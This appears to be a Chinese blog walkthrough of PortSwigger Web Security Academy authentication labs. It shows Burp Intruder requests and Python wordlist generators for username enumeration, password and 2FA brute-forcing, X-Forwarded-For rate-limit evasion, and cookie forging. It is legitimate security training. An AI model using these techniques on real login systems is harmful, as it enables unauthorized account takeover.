Burp Web Academy 鉴权漏洞

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的鉴权漏洞(Authentication Vulnerabilities)章节。

0x02. 鉴权漏洞

2.1 Lab: Username enumeration via different responses

This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.

给定了用户名字典、密码字典,分两步操作:

  • 首先,确认用户名是哪一个
  • 其次,爆破密码

输入任意的用户名和密码,提示 Invalid username。因此,可以先爆破用户名,根据返回的页面 BODY 是否包含 Invalid username 来确认真正的用户名。

  • 选中登录的 POST 请求,选择 Send to Intruder
  • 在 Intruder 中,先清理掉自动设置的字段,仅将 username 设置为字段
  • 将用户名字典导入到 Payload 页面下的 Payload Options
  • Options 页面中设置 Grep - Match 匹配选项 Invalid username

然后点击 Start attack 开始爆破,很快就可以确认用户名是 applications,而密码错误的提示是 Incorrect password。使用同样的方法,可以对密码进行爆破,结果为 123456

2.2 Lab: 2FA simple bypass

This lab’s two-factor authentication can be bypassed. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, access Carlos’s account page.

  • Your credentials: wiener:peter
  • Victim’s credentials carlos:montoya

先使用 wiener:peter 登录,需要输入动态口令,后者可以通过 Email client 中的邮件查看,而完成登陆后,则可以修改自己的 Email,原本的邮件地址是:

1
wiener@exploit-0a86006803574d84814d446001b40022.exploit-server.net

尝试把 wiener 的邮件地址改为 carlos@xxx,尝试用 wiener 的验证码登录,发现验证码绑定了账户,会直接登录 wiener 的账户。此外,还有一个 Exploit Server,没看出来有什么用。

看了提示,发现解法非常简单:

  • 登录 wiener,使用验证码进入后,确认个人页面的 PATH 为 /my-account
  • 登录 carlos,在需要输入验证码的时候,直接访问 /my-account

2.3 Lab: Password reset broken logic

This lab’s password reset functionality is vulnerable. To solve the lab, reset Carlos’s password then log in and access his “My account” page.

  • Your credentials: wiener:peter
  • Victim’s username: carlos

进入登陆页面,发现有一个重置密码的链接,访问后可以通过用户名或者邮箱来找回密码,先测试下 wiener,通过邮箱中的链接重置密码,实际重置密码的表单内容如下所示:

1
2
3
4
5
6
7
8
9
<form class=login-form method=POST>
<input required type=hidden name=temp-forgot-password-token value=0u0qduy35wud8ofrgoyk3ri97z5ft1wd>
<input required type=hidden name=username value=wiener>
<label>New password</label>
<input required type=password name=new-password-1>
<label>Confirm new password</label>
<input required type=password name=new-password-2>
<button class='button' type='submit'> Submit </button>
</form>

其中有两个隐藏的字段,一个是重置密码用的 Token,另一个是 Username,尝试把这里的用户名修改为 carlos,提交表单即可修改 carlos 的密码。

2.4 Lab: Username enumeration via subtly different responses

This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.

跟前面的题不太一样,随意输入用户名和密码,登录失败时返回 Invalid username or password.。还是使用 Intruder 来爆破以下用户名,观察返回结果有何不同之处:用户名 atlas 返回了 Invalid username or password ,末尾是空格而不是 .

之后,尝试给 atlas 爆破密码,根据返回结果的长度或者状态码,可以很快确定密码是 joshua

2.5 Lab: Username enumeration via response timing

This lab is vulnerable to username enumeration using its response times. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.

根据服务器的响应时间来确认真实的账户名称,把 POST 登录请求包发送到 Intruder 进行爆破处理,但是有两点需要注意。

首先,Burp 的 Intruder 默认不会展示服务器的响应时间,需要在 Intruder 攻击完毕的窗口中通过菜单项选择开启:点击 Columns 菜单项,然后依次选择 Response receivedResponse completed。说实话,这个顶部的菜单栏放到了标题栏里面,看着有点迷糊,找了好久才发现。

Burp Suite Intruder 展示服务器响应时间

其次,当我们发送大量登录请求时,会被服务器检测出来,提示 30 分钟之后再尝试登录:

1
You have made too many incorrect login attempts. Please try again in 30 minute(s).

这需要我们调整攻击策略:在 Intruder 中,将 Attack typeSniper 改为 Pitchfork,这允许我们为不同的字段指定不同的攻击字典。

Burp Suite Intruder 调整 Pitchfork 攻击类型

我们可以通过 X-Forwarded-For 字段来变更 IP 地址,实现 IP 拦截绕过。由于用户名大概只有 100 个,因此可以直接以数字形式迭代 IP 地址 X-Forwarded-For: 222.222.222.§1§

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /login HTTP/2
Host: 0a39005b040d76aa830c4cbe00dd0027.web-security-academy.net
Cookie: session=4KAdUGJ6YxsvagQcTdAyMnxSxlSRAdcI
Content-Length: 35
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a39005b040d76aa830c4cbe00dd0027.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a39005b040d76aa830c4cbe00dd0027.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-Forwarded-For: 222.222.222.§1§

username=§username§&password=password

完成攻击后,可以通过 Response received 排序,然后快速确认哪些请求耗时过长。当然,响应时间存在多方面的影响,所以最好多试几次,找出总是耗时很长的响应。确认用户名之后,使用同样的策略对密码进行爆破,根据响应的状态码来确认密码是否正确。

还有一个需要注意的点:默认的发包模式是 10 个并发请求,且两个包之间没有时间间隔,这可能给响应时间带来影响,可以尝试调整这个发包策略。

2.6 Lab: Broken brute-force protection, IP block

This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim’s password, then log in and access their account page.

同样存在 IP 拉黑操作,而且 X-Forwarded-For 也没有用,大概是连续 2 次失败,就会提示如下错误信息:

1
You have made too many incorrect login attempts. Please try again in 1 minute(s).

尝试生成用户名和密码字典,每次尝试爆破 carlos 密码之后,立即使用 wiener 登陆一次,看是否可以绕过这里的限制:

  • 测试之后,发现很快还是被拉黑了
  • 查看官方答案,发现思路是对的,但是忘了默认的发包模式是 10 个并发请求,这里需要改为 1 个,防止产生干扰

之后在 Intruder 发包爆破,可以确认 carlos 的密码是 love,生成 Payload 的 Python 代码如下:

1
2
3
4
5
6
7
8
9
10
11
def gen_dict(pwdfile):
lines = open(pwdfile, 'r').readlines()
fuser = open('username.txt', 'w')
fpwd = open('password.txt', 'w')
for line in lines:
fuser.write('wiener\n')
fpwd.write('peter\n')
fuser.write('carlos\n')
fpwd.write('%s\n' % line.strip())
fuser.close()
fpwd.close()

2.7 Lab: Username enumeration via account lock

This lab is vulnerable to username enumeration. It uses account locking, but this contains a logic flaw. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.

在 Intruder 中,直接选择 Cluster bomb 模式,尝试所有的用户名和密码枚举,直接就给爆破了:

  • Invalid username or password. 表示用户名或者密码错误
  • You have made too many incorrect login attempts. Please try again in 1 minute(s). 表示用户名存在,但密码连续多次错误
  • 剩下的一个,就是正确的用户名和密码了

当然,这样的爆破搞下来就得发送上万次的 POST 请求包,其实可以尝试剪枝优化:

  • 每一个用户名,只尝试少量登录尝试,比如 10 次登录,这样遇到不一样的错误,大概就是用户名存在,后面就不用测了
    • 实际上,连续 4 次登录错误,就能返回不一样的错误提示了
  • 找到用户名后,再进行爆破操作

至于题目提到的逻辑错误,可能是实际上并没有进行锁定操作:只是锁了特定账户的登录请求,没有把 IP 拉黑。

2.8 Lab: 2FA broken logic

This lab’s two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos’s account page.

  • Your credentials: wiener:peter
  • Victim’s username: carlos

You also have access to the email server to receive your 2FA verification code.

没有 carlos 的密码,还要进入 carlos 的个人页面。使用 wiener:peter 登录,发现 Cookie 中存在用户名 verify=wiener,尝试拦截修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /login2 HTTP/2
Host: 0a7400d004c776f184baf523008f00a2.web-security-academy.net
Cookie: verify=carlos; session=AVkjrdtFfjUPyWhw1GzhJD94Th6NwVd9
Content-Length: 13
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a7400d004c776f184baf523008f00a2.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a7400d004c776f184baf523008f00a2.web-security-academy.net/login2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

mfa-code=0147

使用 wiener 的验证码进行登录,提示 Incorrect security code,然后使用 Burp Intruder 进行爆破,4 位的验证码,爆破了 10000 次,这个方法还是不行,似乎仅仅更改 Cookie 中的用户名是不行的。

查看答案之后,才发现需要先触发生成验证码的逻辑,才可以进行爆破!

1)访问 /login2 触发验证码生成逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /login2 HTTP/2
Host: 0a7400d004c776f184baf523008f00a2.web-security-academy.net
Cookie: verify=carlos; session=7nDLAdrE0KYv7CNMU9DCYGk0HcmNw725
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a7400d004c776f184baf523008f00a2.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

2)注意服务器返回的 Response Header,里面有个 Cookie,在 Intruder 中更新一下

1
2
3
4
5
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=J6wSwjPqdYfgNs6563iQAUwCE6KcZ2Eq; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 3012

3)爆破验证码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /login2 HTTP/2
Host: 0a7400d004c776f184baf523008f00a2.web-security-academy.net
Cookie: verify=carlos; session=J6wSwjPqdYfgNs6563iQAUwCE6KcZ2Eq
Content-Length: 13
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a7400d004c776f184baf523008f00a2.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a7400d004c776f184baf523008f00a2.web-security-academy.net/login2
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

mfa-code=0000

4)可以根据 HTTP 状态码 302 或者 Length 来确认是否已经成功爆破,OK 之后停止 Intruder 继续发包,然后在 Intruder 中选中对应的发包记录,弹出右键菜单后依次选择 Request in browserIn original session,然后复制生成的 URL 并在浏览器中访问即可。

Burp Suite Intruder Request in browser

This lab allows users to stay logged in even after they close their browser session. The cookie used to provide this functionality is vulnerable to brute-forcing.

To solve the lab, brute-force Carlos’s cookie to gain access to his My account page.

使用 wiener 登陆时,选择保持登录,登陆后看到 Cookie 如下:

1
Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw

进行 Base64 解码得到:

1
wiener:51dc30ddc473d43a6011e9ebba6ca770

51dc30ddc473d43a6011e9ebba6ca770 即密码 peter 的 MD5 哈希值。

弄清楚 Cookie 的格式之后,还需要观察一下正常 Cookie 和异常 Cookie 访问页面后的不同响应,以方便我们快速确认正确的密码是哪个!

  • 正确的 Cookie,返回 HTTP 状态码 200
  • 错误的 Cookie,返回 HTTP 状态码 302

接下来,先使用 Python 对密码进行处理以生成 Cookie 字典:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
import hashlib

def gen_dict(pwdfile):
lines = open(pwdfile, 'r').readlines()
fout = open('cookie.txt', 'w')
for line in lines:
line = line.strip().encode()
line = b'carlos:%s' % hashlib.md5(line).hexdigest().encode()
fout.write('%s\n' % base64.b64encode(line).decode())
fout.close()

if __name__ == '__main__':
gen_dict('password.txt')

然后就可以在 Burp Intruder 中进行爆破操作了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
GET /my-account?id=carlos HTTP/2
Host: 0a3e00b7041860a480ef30ad000d0081.web-security-academy.net
Cookie: stay-logged-in=Y2FybG9zOmIzNmQzMzE0NTFhNjFlYjJkNzY4NjBlMDBjMzQ3Mzk2
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

最终的密码是:1234567890

0x03. 小结

  • 根据登录时给出的错误提示信息判断用户名、密码的状态
    • 不管返回的错误提示是什么,都可以尝试对比下不同请求返回的结果
    • 使用 Burp Intruder 进行爆破操作,注意不同的攻击类型之间的差异和使用场景
    • 爆破时,可能会拉黑 IP 地址,可以尝试使用 X-Forwarded-For 来绕过
  • 根据登录时的 HTTP 请求响应时间来判断表单字段可能的值
    • 存在/不存在的值,响应的时间可能不一样
    • 响应时间可能被多种因素影响,因此要进行多次测试
    • 默认的发包模式是 10 个并发请求,且两个包之间没有时间间隔,这可能给响应时间带来影响,可以尝试调整这个发包策略
  • 连续登录失败次数限制绕过
    • 在触发限制前,可以使用正确的用户名、密码登录一次,以重置连续失败次数
    • 默认的发包模式是 10 个并发请求,可能干扰爆破思路,可以将并发模式改为 1
  • 思路要放宽,尝试任何可能性,不要拘泥于特定思路
    • 能不能直接访问指定 PATH
    • 爆破验证码时,确认有没有先触发验证码生成逻辑
  • 关注 POST 表单中的隐藏字段
  • Burp Intruder 的不同攻击模式
    • Sniper
    • Battering ram
    • Pitchfork
    • Cluster bomb
  • Burp Intruder Request in browser
  • Cookie 过于简单很容易被爆破

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#access-control-vulnerabilities